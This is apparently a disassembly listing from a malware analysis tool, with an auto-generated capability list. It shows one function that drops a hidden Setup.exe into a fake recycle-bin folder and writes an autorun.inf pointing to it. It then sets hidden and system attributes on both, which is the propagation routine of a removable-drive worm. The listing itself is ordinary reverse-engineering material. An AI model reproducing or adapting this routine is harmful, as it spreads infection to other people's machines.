Function at 0x406d7e
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x143c
call fcn.004075a0
and dword [ebp - 0x10c], 0
or dword [ebp - 0x21c], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x220], eax
push 0x104
push 0
lea eax, [ebp - 0xb28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sautorun.inf
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.recycle.645FF040_5081_101B_9F08_00AA002F954E
push dword [ebp + 8]
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Setup.exe
lea eax, [ebp - 0x108]
push eax
push 0x408434
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
movsx eax, byte [section..data]
cmp eax, 0xffffff92
jne 0x406e5e
push 0
push 0xf9
push 0xa0
push section..data
call fcn.00401000
push 0x800
push 0
lea eax, [ebp - 0xa20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Show
push str.Setup.exe
push str.recycle.645FF040_5081_101B_9F08_00AA002F954E
push str.Show
push str.Setup.exe
push str.recycle.645FF040_5081_101B_9F08_00AA002F954E
push str.Setup.exe
push str.recycle.645FF040_5081_101B_9F08_00AA002F954E
push section..data
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x407062
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
je 0x406f67
push 0x104
push 0
lea eax, [ebp - 0xc30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040170c
push eax
push dword [ebp + 8]
push str._s_d
lea eax, [ebp - 0xc30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
lea eax, [ebp - 0xc30]
push eax
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x406f67
jmp 0x407174
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
je 0x407062
and dword [ebp - 0xc34], 0
push 0x800
push 0
lea eax, [ebp - 0x1438]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0xc34]
push eax
push 0x7fc
lea eax, [ebp - 0x1438]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x407062
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
je 0x407062
and dword [ebp - 0x143c], 0
push 0
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x143c], eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x143c]
cmp eax, dword [0x40cd68]
jne 0x407062
jmp 0x407174
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
jne 0x407095
jmp 0x4071a1
push 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa20]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4070fd
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4071a1
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
jne 0x407147
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xb28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4071a1
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [0x40cd68]
push dword [0x40cd64]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x220]
push 7
lea eax, [ebp - 0x108]
push eax
call dword [ebp - 0x220]
push 7
lea eax, [ebp - 0xb28]
push eax
call dword [ebp - 0x220]
leave
ret 4